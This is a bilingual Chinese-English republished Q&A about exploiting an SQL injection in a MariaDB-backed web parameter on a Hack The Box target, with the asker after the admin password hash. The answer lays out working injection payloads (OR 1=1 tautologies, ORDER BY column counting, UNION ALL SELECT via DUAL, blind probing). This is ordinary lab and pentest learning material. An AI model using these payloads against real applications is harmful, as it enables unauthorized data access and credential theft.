MariaDb SQL注入 [英] MariaDb SQL Injection

问题描述

我正在尝试(合法地)利用具有SQLi漏洞的MariaDb数据库.

I am trying to exploit (legally) a MariaDb database with an SQLi vulnerability.

我已经在这里识别出该漏洞...

I have identified the vulnerability here...

/?o=1&page=app

o=*容易受到攻击，并产生以下错误...

The o=* is vulnerable and produces the following error...

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

我正在使用Burp Suite，并采用了以下语法，该语法似乎更接近于商标，但仍会产生语法错误.

I am using Burp Suite and have landed upon the following syntax which seems to be closer to the mark but is still producing a syntax error.

我认为它离商标很近，因为该错误只会吐出我介绍的查询，而不是额外"字段:'5' or dest like '1'') LIMIT 10'.

I think it is closer to the mark because the error is only spitting out the query that I have introduced and not the 'extra' field: '5' or dest like '1'') LIMIT 10'.

我假设这是原始查询的一部分，因为包含了1，并且当我使用其他随机字符串进行测试时，结果仍然为真.

I am assuming that is part of the original query as the 1 is included and when I test with other random strings that remains true.

我在页面提示中知道的管理员密码哈希是uid 1.

I am after the admin password hash which I know from the page clues is uid 1.

此查询我缺少什么?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

这是在Hack The Box上完成的，所以没有讨厌的非法事情发生.

This is being done on Hack The Box so no nasty illegal stuff going on.

推荐答案

这是在Hack The Box上完成的，因此没有讨厌的非法内容 继续.

This is being done on Hack The Box so no nasty illegal stuff going on.

好吧，那就找点乐子吧.

Ok lets have some fun then.

当我查看错误消息时

调试信息:您的SQL语法有错误；查看手册 对应于您的MariaDB服务器版本的正确语法 在第1行的'1'') LIMIT 10'附近使用'5'或dest之类的

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

我假设应用程序中的查询和代码或多或少都像这种伪明智的做法，@o实际上是MySQL用户变量.

Iám assumming the query and code in the application is more or less like this pseudo wise, the @o is in fact a MySQL user variable..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

我将使用SQL小提琴空格来模拟SQL注入测试并获得更多访问其他表的可能.

I will use a SQL fiddle space to simulate a SQL injection test and more getting possible access to other tables.

您可以使用1' OR 1 = 1#或1' OR 1 = 1--来测试注射，当使用1作为输入时，这两种方法都应该可以工作，并且应该得到相同的结果. 这是因为MariaDB自动将其他数据库的类型转换为您可能需要使用更严格的版本1' OR '1' = '1#

You can test your injection with 1' OR 1 = 1# or 1' OR 1 = 1-- both should work and should give you the same result when you use 1 as input. This is because MariaDB automatic is casting the types for other databases you might need to use the more strict version 1' OR '1' = '1#

应该生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

或

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

然后，因为您在应用程序中看到错误，所以可以使用ORDER BY 1来检查选择了多少列，并递增数量直到出现错误.

Then because you see errors in the application you can use ORDER BY 1 to check how many columns are selected and increment the number until you get a error.

错误:ER_BAD_FIELD_ERROR:订单子句"中的未知列"2"

注入

1' ORDER BY 1#或1' ORDER BY 1--

这意味着在结果集中的第一列上进行排序不对1文字进行排序.

Which means sort on the first column in the resultset NOT sort 1 literal.

生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

或

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

当您知道这些列时，可以使用UNION进入其他表.如果不需要所有列，请使用NULL.

When you know the columns you can use UNION to get into other tables. Use NULL if you don't need all the columns.

注射

1' UNION ALL SELECT NULL FROM DUAL#

请注意，DUAL是MariaDB，MySQL和Oracle中的虚拟"不存在表，如果您可以查询该表"，则意味着从技术上讲，您也可以进入其他表.

Note that DUAL is a "virtual" non existing table in MariaDB, MySQL and Oracle, if you can query this "table" it means you can also technically get into other tables.

生成的SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

并且如果该网页被设计为详细"页面，在该页面上总是可以看到一条记录，则需要在注入中添加LIMIT 1, 1.

And if the webpage is designed as a "detail" page where one record is always visible you need to add a LIMIT 1, 1 in your injection.

如果在Web应用程序中没有可见的错误该怎么办，您应该只能够通过盲目的SQL注入盲目地强行攻击geuss，并查看该应用程序的工作方式.
在尝试对使用的列号进行暴力破解之前，还请尝试使用?o=0，?o=NULL之类的东西或诸如INT最大值(带符号)?o=2147483647或(无符号)?o=4294967295之类的非常高的数字，这样您就可以知道应用程序如何处理记录找不到. 因为它不太可能在id 0或INT数据类型上具有高数字，所以如果给出了最后一个数字，应用程序将停止工作. 如果您仍然获得具有这些高数字的记录，请改用BIGINT数据类型的最大值.

What if there are no errors visible in the webapplication you should just be able to blindly bruteforce geuss with blind SQL injections and see how the application works.
Also try things like ?o=0, ?o=NULL or a very high numbers like the max INT value (Signed) ?o=2147483647 or (unsigned) ?o=4294967295 before trying to bruteforce the used column number so you know how the application handles records which can't be found. Because it very unlikely to have id 0 or that high numbers on a INT datatype, because the application will stop working if the last number was given. If you still get a record with those high numbers use the max values for BIGINT datatype instead.

对于第1列，相同的结果ID o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

For column 1 same result id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

对于第2列可能会出错，但很可能您会看到错误页面或未找到记录的消息.
或甜美的HTTP 404(未找到)错误状态.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

For columns 2 which will error but mostly likely you will see a error page or a message that the record was not found.
Or a sweet HTTP 404 (Not Found) error status.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

在不使用ORDER BY的情况下使用LIMIT时可能会遇到的一个问题可能是获得相同记录的机会，因为SQL标准已定义SQL表/结果集为无序，而未使用

One problem you might get when using LIMIT without using ORDER BY might be a chance getting the same records because the SQL standard has defined that SQL tables/resultsets are orderless without using ORDER BY

因此，理想情况下，您需要在暴力破解中继续使用ORDER BY 1.

So you ideally need to keep using ORDER BY 1 in the bruteforces.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

还有

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

对ORDER BY 1的数据库支持比我最初想到的要好，因为它可以在MySQL，MariaDB，SQL Server(MSSQL)和PostgreSQL中工作.

The databases support for ORDER BY 1 is better then i was thinking at first thought as it works in MySQL, MariaDB, SQL Server (MSSQL) and PostgreSQL.

也ORDER BY 1是SQL 92的一项功能，已在SQL 99中删除.
因此，实际上，如果SQL数据库在这一点上遵循SQL标准，则不应执行ORDER BY 1 annymore.

Also ORDER BY 1 was a SQL 92 feature which was removed in SQL 99.
So actually SQL databases should not execute ORDER BY 1 annymore if they would follow the SQL standards on this point.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

与SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC

这篇关于MariaDb SQL注入的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！